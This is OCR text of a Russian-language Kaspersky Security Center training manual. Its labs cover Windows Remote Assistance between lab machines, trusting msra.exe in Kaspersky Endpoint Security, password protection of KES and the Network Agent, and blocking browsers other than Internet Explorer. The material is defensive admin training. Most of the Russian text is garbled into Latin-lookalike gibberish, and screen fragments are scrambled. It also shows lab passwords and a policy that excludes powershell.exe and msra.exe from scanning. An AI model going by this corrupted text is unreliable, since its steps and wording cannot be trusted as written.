Your helper can view your screen and share control of your computer.

—> Help someone who has invited you
Respond to a request for assistance from another persan.

Privacy statement

6. Bblbepute Use emalil x
tO Send an II”IVItatIOI’] < oL Windows Remote Assistance

How do you want to invite your trusted helper?

You can create an invitation and send it to your helper. You can also use Easy Connect to simplify
connections to your helper,

—> Save this invitation as a file
You can send this invitation as an attachment if you use web-based email.

— Use email to send an invitation

If you use a compatible email program this will start the email program and attach the invitation
file.

—» Use Easy Connect
Use this option if Easy Connect is also available to your helper.

7. yKameTe ap‘pecaTa B = E h>] NS “fou have received a Remnote Assistance invitation - Message (Plain Text)
none TO BBeD'VlTe MESSAGE INSERT OPTIONS FORMAT TEXT REVIEW

tom@abc.lab iy o A A v B8 %, Y Q

-
il

Copy 1 High Importance
Paste . B I U A Address Check  Aftach Attach Signature Zoom S
8. Ha)KMMTe Send - Farmat Painter Book MNames  File  ltem = - ¥ Low Impartance Ini
Clipboard r] Basic Text Names Include Tags e Zoom |
To... tom @abc.lab|
Ce..
Send
Subject You have received a Remote Assistance invitation
Attached |l invitation.msrincident (5 KBl

Hi,

I need help with my computer. Would you please use Windows Remote Assistance to connect to my computer so you can help me? After you
connect, you can view my screen and we can chat online,

To accept this invitation, double-click the file attached to this message.

Thanks.

Note: Do notaccept this invitation unless you know and trust the person who sent it.

9. 3anuwwuTe naponb 4 Windows Remote Assistance - o x
yD,aJ'IeHHOFO . Chat (J Settings [ Troubleshoot (@ Help
nogkn4yeHna Tell your helper the connection password

ZGB83R9QLATY

@ Waiting for incoming connection...
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-
Tom-Laptop

10. BonauTe B cuctemy nog y4etHom 3annceto abc\Tom. MNapone — Ka5per5Ky

B e - Inbox - tom@ab.lab - Outlook 7 @ -
11. 3anyctute Outlook @ & nbex- tem@ateab - Outod
HOME SEND / RECEIVE FOLDER VIEW
12. Bo BxogsLmx E i B X QR (D vy [Tt | Ml | O Unentad =
COOBLLIEHMEX o o emupe N (\- . ')d €} To Manager || Gt Bicmegorer  [lAddesbook S
ew ew elete  Rej € orwar . - end/Receive
LL‘"’ Email fems - & Junk~ e EfMore~  |ET Team Email 7| MoneNote [ Followup~ W FikerEmailc Al Folders
OTKPOMTe New Delete Respond Quick Steps [F Move Tags Find Send/Receive
COO6L|J,€HM€ oT 4 Favorites “ || [Search Current Mailhox... © | Current Mailoox_-] 2 Reply 2 Reply All ) Forward
nonb3oBaTtens Inbox All - Unread ByDate = Newest ¢ Fii 23-Apr-21 1315
Sent ftems 4 Today Alex <alex@abc.lab>
Alex@abc.lab Dmiet ) I
Alex y You have received a Remote Assistance invitation

You have received a Rem... 13:15

Hi, I need help with my To tom@abc.lab

13. WenkHuTte no
LUl 4tom@abc.lab ) We removed exra line breaks from this message.

NPUNOXeHHOM Inbox
p o . . y * Drafts Message  @lInvitation.msrcincident (1 KB}
ra

danny Invitation.
Sent [tems Hi
Deleted ltems
Junk E-mail I need help with my computer. Would you please use Windows Remote Assistance to
Outbox connect to my computer so you can help me? After you connect, you can view my screen
RSS Feeds and we can chat online.

Search Fold
LlEnlEL IS To accept this invitation, double-click the file attached to this message.

Thanks.

Note: Do not accept this invitation unless you know and trust the person who sent it.

14. Haxmunte Open Opening Mail Attachment

0 You should only open attachments from a trustwarthy source,

Attachment: Invitation.msreincident from Inbox -
tom@abc.lab - Outlook

Would you like to open the file or save it to your computer?

ooen | o]

Ablways ask before opening this type of file

15. Beegute napornb Remote Assistance
yaaneHHoro
NOAKIoYeHns (CM. Enter the password to connect to the remote
NyHKT 9) computer

You can get this password from the person requesting
assistance, A Remote Assistance session will start after you
type the password and click QK.

Enter password:

| zGBe3reaLATY] |

oK || Cancel |
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Mepekntountech Ha komnbloTep Alex-Desktop.

=
-
Alex-Desktop

16. PaspelunTte nonb3osatento Tom NoaKNoYMTLCS K Ballen Windows Remote Assistance

X
pa6oqel71 cTaHuuun. B nosiBuBLLEMCS OKHE HaXXmuTe Yes

Would you like to allow Tom to connect to your
computer?

After connecting, Tom will be able to see whatever is on your
desktop.

Yes

What are the privacy and security concerns?

Mepekntountecb Ha KomnboTep Tom-Laptop.

=
Tom-Laptop

17. Haxmnte
Request
control B
neBom
BEPXHEM Yy
OKHa

[ Request control J=f Fit to screen Chat Settings o Help

[l Pause Chat (CF Settings (@ Help

Your helper can now see your desktop

Mepekntountech Ha komnbloTep Alex-Desktop.

- -
- ___P N
Alex-Desktop

18. PaspewnTe nonb3osatento Tom Windows Remote Assistance x
ynpaBenaTb Bawen paboyer ctaHuun. B .
NnosiBUBLLEMCS] OKHE HaxkMuTe Yes Would you like to allow Tom to share control of your desktop?
To stop sharing control, in the Remote Assistance dialog box, click Stop sharing.
O Allow Tom to respond to User Account Control Yes
prompts
What are the privacy and security concerns?
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MepekntounTechb Ha komnbloTep Tom-Laptop.

Tom-Laptop

19. OTkpoinTte untepdenc Kaspersky Endpoint
Security

20. YbeguTech, YTO Bbl HE MOXETE YNpaBnsTh
Kaspersky Endpoint Security yaaneHHo

3apaHue B: PaszpewunTe YaaneHHomy nomowHuky Windows
B3aumopeiictBoBaTb ¢ Kaspersky Endpoint Security

OTkporite nonnutnky Kaspersky Endpoint Security. Hangnte cnucok gosepeHHbix nporpamm. JobasbTe
ncrnonHaembln hann msra.exe B CNUCOK JOBEPeHHbIX. Paspelunte eMy B3auMoO4enCcTBOBaTb C UHTEpdeNnCcom
Kaspersky Endpoint Security.

3apaHue BbinonHAeTcs Ha komnbioTepe KSC.

—aap!

K

21. OTkpounTe BEO-KOHCOb DEVICES / POLICIES & PROFILES

Kaspersky Security
Center Current path: KSC
22. B 6okoOBOM MEHI0 KASPERSKY Add | | & Refreshlist | : J e
. SECURITY CENTER
Bb|6epMTe DeVICeS | Stat Policy name Application

Policies & Profiles

Kaspersky Endpoint Security for Windows (11.6.0)

23. OTKpoONTE NONNTUKY
Kaspersky Endpoint
Security for Windows

Haspersky Endpoint Sec

DEVICES

POLICIES & PROFILES

Haspersky Security for Windows Server
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24. MNepengnte Ha BKNagky
Application Settings

25. MNepengnte B pasgen
General settings

26. OTKpONTE HACTPOWKU
WCKMNIOYEHNIN: nponanTe
no ccbinke Exclusions

27. Y1006bI fOGaBUTL
[OBEPEHHOE
npunoxexHue, nponanTe
no cceinke Trusted
applications B neeom
HUXHEM Yry 3KpaHa

28. [lobaBbTe cnyKebHbIn
npouecc Microsoft
Remote Assistance:
HaxkmuTe kHonky Add

kaspersky

Trusted applications

INabopatopHas paboTa 12.
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Kaspersky Endpoint Security for Windows {11.6.0)

Low protection level. Important protection components are disabled. Learn more

GENERAL  EVENT CONFIGURATION ~ APPLICATIONSETTINGS  REVISION HISTORY ~ POLICY PROFILES

d Threat Protection

General settings

]

Types of detected objects 2 [ @)
Malware
B Malicious tools

Adware, auto-dialers, other programs
B Adware
B3 Auto-dialers
Detect other software that can be used by criminals to damage your computer or personal data

Packers

B3 Packed objecis
Multi-packed

ose packing may be used to protect malicious code

bjects

Scan exclusions and trusted applications &8 [ @]

Merge values when inheriting
Allow use of local trusted applications

+ Add Delete == Import == Export
Application Status Path
powershell.exe Excluded v %systemroo?\System32\WindowsPowerShell\v1.0\powershell exe
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29. B none Path BBegute
%systemroot%\system32
\msra.exe

30. CHMMUTE OTMETKY C

napamMmeTposB:

— Do not scan opened
files

— Do not inherit
restrictions of the
parent process
(application)

31.

(2) Application

Path or path mask to the application

Comment

Do not scan opened files

Do not monitor apy

Da not inherit restricti
Do not monitor child application activity

Allow interaction with the application interface
Do not block interaction with AMSI Protection

network traffic

Do not scan

systemroot?

component

JlabopaTopHasi paboTa 12.
Kak HacTpounTb 3alMTy ANs yAaneHHoro 4oCTyna K KoMmbloTepy

ystem32\msra.exe

PaspewunTte Windows Remote Assistance B3aMmoaencTBoBaTth ¢ nHTepdgericom KES: oTMeTbTe napameTp

Allow interaction with the application interface n HaxmuTe OK

32. CoxpaHnTe cnncok

nporpamm: Haxmmte OK

33. CoxpaHuTe NonNuUTUKy:

Haxxmnte OK

34. MopgoxauTe, noka

NONMNTUKa NPUMEHNUTCA

3) Trusted applications

ues when inheriting
al trusted applications

+ Add Delete = Import 3= Export
Application Status
ershell exe Excluded v
MSra.exe Excluded v

Path

Jsystemroo’\System:

\WindowsPowerShell\v1.0\powershell exe

Zsystemrootiisystem32\msra.exe

3apaHue C: OTkpoiiTe nokanbHbiii otTveT Kaspersky Endpoint Security B
ceccum Y paneHHoro nomowHuka Windows

MogknouunTecs YaaneHHsiM nomowHukoM Windows ¢ komnetoTepa Tom-Laptop k komnbtoTepy Alex-Desktop.
OTkponTe okHO oTyeToB Kaspersky Endpoint Security.

kaspersky
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3agaHue BbINoMHseTcs Ha komnbtoTepe Tom-Laptop.

=
Tom-Laptop

5 Windows Remote Assistance - Helping Alex

35. OTKponTE OKHO OTHETOB
Kaspersky Endpoint
Security: HaxxmuTe More

op sharing Jf Fitto screen ) Chat 57 Settings (@) Help

g Reports
tools | Reports
3 6 3 o o System audit @ Update Save report
. oaKpouTe BCe OKHa
Kaspersky Endpoint System audit impernnce (IR
SeCu r|ty @ Advanced Threat Protection Time: | All ~ 4/20/2021 472472001
o Behavior Detection
37 SaKpoMTe BCe OKHa Exploit Provention Event date 4 Event Component Application Applicatic
P Today, 4/23/2021 1:28:09 PM  Task completed Upd Kaspersky Endpoint 5 Kaspers!
Windows Remote Host Intrasion Prevention @ Today. 4125/ ask completed  Update aspersky Endpoint Security Kaspers
A . () Today, 4/23/2021 127:47 PM  Taskstarted  Update Kaspersky Endpoint Security Kaspersl
ssistance ©) Emm e @ Today, 4/23/2021 11:26:57 AM Task completed Update Kaspersky Endpoint Security Kaspers!

File Threat Protection @ Today, 4/23/2021 11:26:49 AM Task started  Update Kaspersky Endpoint Security Kaspers|
Web Threat Protection @ Today, 4/23/2021 10:44:55 AM Task completed Update Kaspersky Endpoint Security Kaspers|

Mail Threat Protection (@ Today, 4/23/2021 1044:47 AM Task started  Update Kaspersky Endpoint Security Kaspers|

Firewall @ Today, 4/23/2021 9:42:50 AM  Task completed Update Kaspersky Endpoint Security Kaspers!

Network Threat Protecti (@ Today, 4/23/2021 9:42:48 AM  Task started Update Kaspersky Endpoint Security Kaspers|
etwork Threat Protection

@ Today, 4/23/2021 9:26:45 AM  Taskstarted  Adaptive Anomaly Control Kaspersky Endpoint Security Kaspers|
AMS! Protection
[T— () Today, 4/23/2021 926:45 AM  Taskstarted  Behavior Detection Kaspersky Endpoint Security Kaspers|
@ security Controls (@ Today. 4/23/2021 9:26:45 AM  Task started  Exploit Prevention Kaspersky Endpoint Security Kaspersl
Adaptive Anomaly Contral () Today, 4/23/2021 9:26:44 AM  Task started  Web Threat Protection Kaspersky Endpoint Security Kaspersl
Application Control @ Today, 4/23/2021 9:26:44 AM  Taskstarted  Web Threat Protection  Kaspersky Endpoint Security Kaspers|
Device Control () Today, 4/23/2021 9:26:44 AM  Task started  Network Threat Protection Kaspersky Endpoint Security Kaspers!

(1) Todav. 4/23/2021 9:26:44 AM  Task started Web Control Kasperskv Endpoint Securitv  Kaspers|
Web Control

3ak/iioueHune

Bbl paspeLumnu nporpaMmme yaaneHHoro 4ocTyna B3aMMo4encTBoBaThb C UHTepdericom nporpammbel Kaspersky
Endpoint Security.

JlabopaTtopHag paboTa 13.
Kak HaCcTPOMTb 3aLLNTY Naponem

CueHapui. UTobbl Nnonb3oBaTenu He OTKIIOYanu 3almTy, ycTaHoBuTe naposb Ha Kaspersky Endpoint Security u
Ha AreHT agMUHUCTPUPOBaHNS.

CopepxaHue. B aToin nabopatopHon paborTe:
1. Hangnte koMnbtOTEP C BLIKMIOYEHHOW 3aLLMTON
2. YcraHoBuTe naponb Ha Kaspersky Endpoint Security
3. TpoeepbTe, uTo Kaspersky Endpoint Security 3alumiieH naponem
4. YcTaHoBWUTE Napofib Ha yaaneHuwe AreHta agMUMHUCTPUPOBAHUS
3apaHue A: Hailipute KoMmnbloTep C BbIK/IIOYEHHOW 3aLNTOMN
Ha komnbloTepe Tom-Laptop BeiiamTte ns Kaspersky Endpoint Security.
Haiigute coobLeHre, YTO Ha KOMMbIOTEpaXx BbIKIoYeHa 3awuTa, B KOHCONM adMUHUCTPUPOBaHWS Ha CTpaHuue

Dashboard. MNMepenaute B BbIGOPKY KOMMbIOTEPOB, HA KOTOPbIX BbIKNoYeHa 3awmTta. OTKpONTE CBONCTBA
KoMMbloTepa, HarnanTe nporpammy Kaspersky Endpoint Security n 3anyctuTe ee.
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| o) L B

Tom-Laptop  Alex-Desktop

[ |
Tom-Laptep
1. Bongute B cucTemy nog y4eTHoi 3anuceto abc\Tom. Maponb — Kaspersky Endpoint Security for Windows
Ka5per5Ky Pause protection...
. . Settings
2. Bnbirpysute Kaspersky Endpoint Security n3 namsitu, Mcnonb3ys s grt
u la]
KOHTEKCTHOE MEHIO0 MKOHKM NpoayKTa Abppt
ou

|

KsC

3. Bowgwute B cnctemy nog yuetHon 3anucbkio abc\Administrator. Mapone — Ka5per5Ky

4. OrTkpoliTe Beb-
KOHCOInb
Kaspersky
Security

Center KASPERSKY B Critical 1 a0
SECURITY CENTER & ok 2 ° s
5. B 6okoBom 8 Warning 0 i

MEHIO B8
Bblbepute
Monitoring &
reporting |
Dashboard DASHBOARD

MONITORING & REPORTING / DASHBOARD

Protection status L

05
00

B KSC 3052021 03252021

-—-- 03/15/2021 04/04/2021
A MONI
W Critical W o« W Warning

O6paTtute BHMMaHWe, YTO Ha OOHOM U3 YCTPOWCTB cTaTyc 3awwmThl Critical

MpoitauTe no cceinke Critical, Ans npocMoTpa chvcka YyCTPOUCTB

8. y6e,D,VITer, Selection results
4yTO 3aWmTa He
3anylleHa Ha Devicesiounsi:
yCTpO'ZCTBe X Delete  + Newtask <3 Movetogroup & Refresh <= Filter
Tom _Lapto p Name Visible  Last connected to the Administration Server ~ Network Agentisinstalled  Network Agentisrunning  Status  Status description
TOM-LAPTOP v 03/21/2019 2:14:50 pm v ~ A Security application is instz

9. OrTkponTe ceocTBa ycTpouncTea. [poranTe no cebinke Tom-Laptop
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BKNnagKy
Applications GENERAL  APPLICATIONS  ACTIVE POLICY PROFILES TASKS EVENTS INCIDENTS TAGS ADVANCED

11. Boibepute
Kaspersky > Start top & Refresh
Endpoint
Security u
HaxxmunTe Start

Name Version

11.0.01131

111.0.15919

12. 3akponte
CBOWCTBA
KoMnbloTepa

13. B 6okosom
MEHIO
BblOepuTe
Monitoring &
reporting | KASPERSKY 3 Critical
Dashboard SECURITY CENTER :% 2 o

Warning -

MONITORING & REPORTING / DASHBOARD

Protection status

it

03/15/2021 04/D4/2021

14. O6patute
BHMMaHWe, 4YTO
cTaTyc 3awuThbl
N3MeHuncs ¢
Critical Ha DASHBOARD
Warning

03/05/2021 03/25/2021

A MONITORING & REPORTING
W critical W cox

3apaHue B: YcraHoBuTte naponb Ha Kaspersky Endpoint Security

Hangute B nonutunke Kaspersky Endpoint Security ansa Windows gns pabo4mx ctaHumn HacTpoviki naponsi (cpeam
HacTpoek uHTepdeica). BknrounTe 3awmMTy NaponemM M pacnpocTpaHUTE ee Ha BCce onepauun ¢ Kaspersky
Endpoint Security.

Ha komnbtoTepe Tom-Laptop nonpobyiiTe BbiIiTM M3 Kaspersky Endpoint Security. Y6egntech, 4to 6e3 napons

BbINTY He nony4vaeTcs. MNMonpobynTe yoanutb Kaspersky Endpoint Security 4yepes NaHens ynpasneHns Windows.
Y6eaouTech, UTO ANd 3TOr0 TOXE HYXXHO 3HATb Naposb.

3agaHue BbINonHsieTcs Ha komnbtoTepe KSC.

I_! —
‘_ e
[
KsC
15. OTkpoinTe Beb- DEVICES / POLICIES & PROFILES
KOHCO/Ib
Kaspe,rSky Current path: KSC lana e s / Lap
Security Center
KASPERSKY |- Add | | = Refreshlist | & y e . e
16. B bokoBOM SECURITY CENTER
MEHIo Stat >> | Policy name Application
Bbl 6epMTe Kaspersky Endpoint Security for Windows (11.6.0)
DeVICeS | Kaspersky Endpoint Security for .
PO I ! C es & Kaspersky Security 11 for Windows Server
Profiles — -.,—,—,—,Y, -
Default protection for Kaspersky Security 11 forWindows .. >>  Kaspersky Security 11 for Windo..
POLICIES & PROFILES Kaspersky Security Center 13 Network Agent
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17. OTkponTte
NonuUTUKY
Kaspersky
Endpoint
Security for
Windows

18. MNepenanTe Ha
BKNnagky
Application
settings

19. B pasgene
General
settings
HaXxmuTe
Interface

20. HaxxmuTe Ha
BbIKMOYaTenb
Password
protection
DISABLED

21. Beegute
napornb
Kab5per5Ky

22. Haxmute OK

23. HaxvuTte Add,
YTOOBI
nob6aBuTb
nonb3oBaTtens

24. lMpongnTte no
ccblinke Select
user

kaspersky

Kaspersky Endpoint S ty for Windows (11.

Low protection level. Important protection components are disabled. Learn more

GENERAL  EVENT CONFIGURATION ~ APPLICATION SETTINGS ~ REVISION HISTORY ~ POLICY PROFILES

Advanced Threat Protection

Application Settings

Essential Threat Protection

Security Controls

vork Settings

Detection and Response

Data Encryption

Exclusions

Local Tasks

General settings

INabopatopHas paboTa 13.
Kak HacTpouTb 3awmTy naponem

Set the administrator password

The built-in administrator account has unrestricted access to all
functions of Kaspersky Endpoint Security for Windows

Password

Confirm password

A\ Does not match recommended settings

It is recommended to use a strong password. A strong
password should contain:

At least 8 characters;

At least ane symbol from each of the follewing categories:
1. Latin uppercase letters;

2. Latin lowercase letters,

3. Numbers;

4. Special characters: (~@#$%ME*[J<=? ;"\, /\\-_=+

Password protection

@ Password protection ENABLED

+ Add < Delete
Name

KLAdmIn

No users and/or groups of users specified

Permissians
Application Settings
Remove / modify / restore the application
Disable Kaspersky Security Center policy
Exit the application
View reports

€3 o data on enc

Restore from Backup
Disable protection components
Disable control components
Remove key
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25.

26.

27.

28.

29.

30.

31.

32.

33.

B ctpoke
noncka
BBeguTe alex

Bbibepute
YYETHYIO
3anucb Alex

Haxmute
Select

OTmeTbTe onepaumu:

— Application settings

— Remove/modify / restore the
application

— Disable Kaspersky Security Center
policy

— Exit the application

Haxmnte OK

Ybeantech, 4To nonb3oBarternb Alex Obin
JobaBrneH B CrMcok

CoxpaHuTte nameHeHuns: Haxmmte OK

COXpaHVITe NOJTUTUKY. HAXMUTE Save n
Yes

MogoxanTte, Noka nonuTrka NPUMEHUTCA

kaspersky

rd protection

Add permissions for a user or a group

ABC\Alex
Permissions

& Application Settings

B3 Remove / modify / restore the application
B3 Disable Kaspersky Security Center policy

B3 Exitthe application
View reports

Disable control components

Remove key

Restore from Backup
Disable protection components

INabopatopHas paboTa 13.
Kak HacTpouTb 3awmTy naponem

Select user or group

alex
Alex-Desktop\Administrator
Alex-DesktopiGuest
. ABC\Alex

Cancel Select!

Password protection

@ Password protection ENABLED

+ Add
Name
KLAdmIn

ABChAlex

X Delete

Advanced Threat Protection
Essential Threat Protection
Security Controls

Detection and Response
Data Encryption

Local Tasks

General settings

Low protection level. Important protection components are disabled. Learn more

GENERAL  EVENT CONFIGURATION ~ APPLICATION SETTINGS ~ REVISION HISTORY ~ POLICY PROFILES

Save settings

Important protection components are disabled (for more information,
click the link in the description of the protection level)

Are you sure you want to apply these settings?

Interfag Yes No
Settings f
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3apaHue C: lNpoeBepbTe, uto Kaspersky Endpoint Security sawuueH naponem

Y6eantech, 4To He06X0AMMO BBECTU OaHHbIE YY4ETHOWN 3anucu, YTobbl BbIMONTHUTL Kakne-nmbo oencTeund ¢
nporpaMmmon.

-
Tom-Laptop
34. Boiigute B cUcTeMy Nof Y4eTHOM 3amnncbio Kaspersky Endpoint Security for Windows
abc\Tom. MNaponb — Ka5per5Ky Pause protection...
o o Settings
35. MonpobywnTe BbINTU N3 KES 4yepes KOHTeKCTHOe Suomort
MEHIO €ro UKOHKM B NaHenw 3agad PR
About
e II\ ¥
9:52 AM
® 47272021 -
36. B okHe Password check BBeauTe gaHHble [& Password check
yyeTHon 3anucu abc\Alex, naponb Ka5per5Ky
J?« This operation requires entering
37. YbeguTechb, 4TO NporpaMma ycneLuHo
3aBepLUMHaCb @ the user name and password
Default value of the user name is KLAdmin.
User name: |abd\a|ex |
Password: |"""."| |
O temporary passwoard
oK Cancel
38. OTkponTe okHO Apps & features @ Home Apps & features
| e —— - Bl Microsoft Corporation 14-Nov-18
39. Buibepute Kaspersky Endpoint Security for App Installr 60K
. Bl Microsoft Corporation T-Feb-21
Windows Apps
i= f:‘ccr‘élf;?('Co'poratwn 14—13-2—’?5
40. Yb6eguTech, 4To kHomka Uninstall saGnokvposaHa | i= sops & eotres ’ ’ -
iS5 Default apps f;f:;ﬂjﬂ Corporation CE-VIAS;-S'Eg
0y Offline maps Feedback Hub 16.0 KB
Microsoft Corporation 23-Mar-21

0 Video playback
Google Chrome

@ Apps for websites
Get Help 16.0 KB
Microsoft Corporation 3-Mar-21

Google LLC 02-Apr-21
Groove Music 16.0 KB
Microsoft Corporation T-Feb-21
Kaspersky Endpoint Security for Windows 341 MB
AO Kaspersky Lab 30-Mar-21
11.6.0.394

Modify Uninstall
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JlabopaTopHasi paboTa 13.
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3apaHue D: YcTaHoBUTe naposib Ha yaaneHne AreHTa agMUHUCTPUPOBaHMS

OTkporiTe NonMTNKy AreHta agMMHUCTPUPOBAHUA 1 HAanaUTE B HEW HAacTPOWKN napons. BknounTe 3awmTty
naponem, BBEAMTE Naposb U cAenanTe 3TM HaCTPOMKA 00s3aTeNbHbIMU, T.€. 3anpeTuTe UX peaakTMpoBaThb.

Ha komnbtoTepe Tom-Laptop nonpoGyiiTe yaanuTe AreHT agMMHUCTpUpoBaHns. He BBoauTe naponb u
y6eanTech, YTO NPOCTO TaK yaanuTb AreHT Henb3s.

HauyHuTe BbINOMHATL 3agaHue Ha komnbtoTepe KSC.

41. OTkpownTe BED-
KOHCOmb Kaspersky
Security Center

42. B BOKOBOM MEHI0
BblOepuTe Devices |
Polices & Profiles

43. OTKpoWTE NONUTUKY
Kaspersky Security
Center Network
Agent

44. MNepengute Ha
Bknagky Application
settings

45. B pa3gene Settings
BKIIOYMTE 3alUuUTy
naponem: Use
uninstallation
password

46. BeeguTte naponb
Ka5per5Ky

47. CpenanTe HacTpPOnKy
Use uninstallation
password
obszaTensHon, T.€.
3aKpOonTE 3aMOK AS1st
OAHHON HaCTPONKN U
HaXxXmute Save

48. lNMopgoxanTe, noka
NoNMTUKa NPUMEHUTCS

kaspersky

KASPERSKY
SECURITY CENTER

T= DEVICES

POLICIES & PROFILES

TAS

Settings

DEVICES / POLICIES & PROFILES

Current path: K5C

I Add = Refresh list

Stat. =>  Policy name

Kaspersky Endpoint Security for Windows (11.6.0)

Haspersky Security 11 for Windows Server

Kaspersky Security Center 13 Network Agent

> Haspersky Security 11 for Windo.

¢

Application

Haspersky Endpoint Security for ...

Haspersky Security Center 13 Ne

&
: Distribute files through distribution paints only
er o
&
sta
Enable NAP
| eskto i
che: Ipdate = ©
Maximum size of event queue, N MB | 2
l fist
nts &
Application is allowed to retrieve policy’s extended data on device
&
Protect Network Agent service against unauthorized removal or termination, and to prevent changes to the
settings
]
ord
........ q Show
Please do not enter the domain administrator credentials, the Administrators group credentials, or the local administrator
credentials used on multiple
Entering these credentials risks exposure to data theft through compromise of data stored on one of the Network Agent clients
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[ |
Tom-Laptep
49. OTkporiTe okHO Apps & features @ Home Apps & features
Get Help 16.0 KB
. Find a settin P B 1ticrosoft Corporation 3-Mar-
50. Buibepute Kaspersky Security Center | - | B e
Network Agent Apps E 2223:? fF(mmE 02-Apr-21
51. MonpobyiTe yaanuTb AreHT: BoibepuTe = Apps tfeatures Bl coer | Joie
UnInSta” i Default apps Kaspersky Endpoint Security for Windows 34 MB
. N AO Kaspersky Lab 20-Mar-21
52. B nHcpopmaumoHHom okHe Windows M. Offine maps This app and its related info will b
NOATBEPANTE HAMEPEHWE yaanuThb 53 Apps for vt e
- pps for websites
13.0.0.11247 -
nporpaMMy 1 Video playback E—
Modify Uninstall

53. B okHe npuBeTCTBMS MacTepa yaaneHus
HaxmunTe Next

54. He BBognTeE napornb 1 Haxmnte Next

55. Y6egutechb, 4To 6€3 BBOOA Naponsi
yaanuTb AreHTa agMMHUCTPUPOBaHNS ] ) _
Kaspersky Security Center Network Agent is password-protected to exdude unauthorized
Henb3A uninstallation. Specify the uninstallation password to proceed with uninstallation.
Password: ||
« Back Canicel
56. 3akponTe coobLLeHne NporpaMmbl il Error
yaaneHunsa kHonkon OK
57. Beiigute n3 mactepa: Haxmmnte Cancel Q Invalid uninstallation password.
58. MNoaTBepamnTe, YTO XOTUTE BbINTU:
HaxmuTe Yes
59. 3akponTe mactep: HaxmuTe Finish

3akJiioueHue

Bbl ycTaHoBunu 3awmuty naponem Ha Kaspersky Endpoint Security n AreHT agMuHUCTprpoBaHus. Tenepb
nonb30BaTenu He CMOryT yaanuTb nporpammbl Jlabopatopun Kacnepckoro, Bbiit n3 Kaspersky Endpoint Security
UIM OCTaHOBUTb 3aLLUMUTY.

OctaHoeuTb cnyx0y nnu npouecc Kaspersky Endpoint Security nonb3oBartenu Toxe He MoryT. OT aToro
3awmwaet camosawmTa Kaspersky Endpoint Security.

UTtobbl CKpbITh OT NONb30BaTeNen, YTo Ha komnbtoTepe ycTtaHoeneH Kaspersky Endpoint Security, He
oTobpaxariTe ukoHky KES B obnactn ysegomneHun. 9ta HacTponKa ecTb B pa3gene NHTepdeinc B nonuTtunke
Kaspersky Endpoint Security.
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JlabopaTopHas paboTa 14.
Kak HacTpoutb KoHTponb nporpamm

CueHapwun. CornacHo nonutuke 6esonacHocTu, Anga goctyna B IHTepHET nonb3oBaTeny KOMNaHny OIDKHbI
ncrnonb3oBaTb Tonbko Internet Explorer. [Ins aToro 6paysepa perynspHo 1 LEHTPann3oBaHHO 3arpyxatoTcsi BCe
OOCTYMHble 0BHOBMEHMSA Be30NacHOCTH, TOraa kak CocTosiHue Apyrnx 6pay3epoB He KOHTPONMpPYeTCs. YUnThiBas,
4YTO BOMbLUMHCTBO COBPEMEHHbIX Yrpo3 UCMONb3yeT Opaysep Ans NPOHUKHOBEHUS! B CETb, ObINO NPUHATO peLleHne
3anpeTuTb Bce npoymne bpaysepsl

Bawa 3agaya — obecneunTb BbINONHeHNe TpeboBaHUsA nonmMTukM 6esonacHocT. C nomoLbio KoHTpons
nporpamm Heo6xoaumo 3abrnokMpoBaTb BO3MOXHOCTb 3arnycka Ntobbix 6pay3epoB, 3a ucknoveHnem Internet
Explorer.

CopepxaHue. B aTon nabopatopHoin paborte:

1. CospanTe kateroputo ang Bcex Be6-6paysepoB kpome Internet Explorer
2. BanpeTuTe nonb3oBaTenam 3anyckatb Beb-0paysepsbl, kpome Internet Explorer
3. 3anyctute Mozilla Firefox u Internet Explorer

3apaHue A: Co3zpaiiTe kaTeropuio ans Bcex Be6-6paysepoB kpome Internet
Explorer

CospanTe kaTeropmto nporpamm, cogepallyto Bce 6paysepbl 3a ncknoveHvem Internet Explorer 11.0 u Bbiwe.
YTo6kl onucaTb Bce Bpay3ephl, ucnone3ynte kateropmm Jlabopatopumn Kacnepckoro (KL-kateropus). Ytobbl
ncknoumntb Internet Explorer, ncnonb3ynte metagaHHble U3 danna iexplore.exe.

i
i
|
1
K

;ﬂ I Ee.

Tom-Laptop  Alex-Desktop

1. OrtkpowiTe Beb6-KOHCOMb
Kaspersky Security
Center

OPERATIONS / THIRD-PARTY APPLICATIONS / APPLICATION CATEGORIES

[ +Add| xDelete | Refresh |

2. B 6okoBoM MeHI0 KASPERSKY
BbIGepuTe Operations | SECURITY CENTER
Third-party applications
| Application categories

Type Name Inherited

EZ OPERATIONS

CENSING No Data

3. Yt06bl fO6aBNTL HOBYIO
KaTteroputo, HaxmmTe THIRD-PARTY APPLICATIONS
Add

APPLICATION CATEGORIE.
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10.

11.

12.

Ykaxute nms kateropum
Browsers

B meToae co3ganus
Kareropuu Bolbepute
category with content
added manually.

Haxmunte Next

YT100bI 400aBUTL
ycroBue Ans KaTeropun
HaxxmuTe Add

Ykakute From KL
category

Haxmunte Next

BbibepuTe kaTeroputo
Browsers | Web
Browsers

Haxmnte Next

Haxmnte Next

kaspersky

INabopatopHas paboTa 14.
Kak HacTpoutb KoHTponb mporpamm

New Category Wizard

Name | Browserg| |

ct category creation method

jith content added manually. Data of executable files is manually added to the ¢
executable fi
ed devices. T
tegory

w

utable files are processed
metrics are added to ti

Category will include only unique conditions from the Wizard

New Category Wizard

Conditions
Delete = -+ Add Properties
Condition value

Condition criterion

No data

New Category Wizard

Condition criteria

Specify rule type for condition

® From KL category
Select certificate from repository
Specify path to application (masks supported)
Removable drive

Hash, metadata, or certificate

Condition criteria

Extension

Conditions
Delete + Add Properties
Condition criterion

Condition value

KL Category Meb Browsers
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13 kateropun. Haxmmute
Add Exclusions
Delete + Add Properties
Condition criterion Condition value
No data

14. B cnmcke ycriosuii ' ® condtoncieia
WCKITIOYEHNI YKaXknTe
Hash, metadata, or

Specify rule type for condition

Certificate From KL category

15. B BbiNnagaoLLem MeHIo Select certificate from repository
BbIGepMTe Specn‘y Specify path to application (masks supported
manual |y Removable drive

® Hash, metadata, or certificate

16. Haxxmnte Next

| Specify manually v
Ha UCMonb3oBaHUE
Metadata o . o
Specify parameters to be used as conditions
18. OT™meTbTe Yekbokc File File Hash
Name & Metadata
Certificate
19. B none BBegute -
IEXPLORE.EXE (BaxHo:
MMEHHO 3arnaBHbIMU EXPLORE EXE
Byksamu) File version
20. Haxmute Next
Equal ~

21, Harurre OK

GENERAL  ASSOCIATED POLICIES  CONDITIONS — EXCLUSIONS

Exclusions
Delete + Add # Properties
Condition criterion Condition value
File Name File name: "IEXPLORE.EXE";

3apaHue B: 3anpetuTte nonb3oBarenam sanyckaTtb 6pay3epbl, Kpome Internet
Explorer

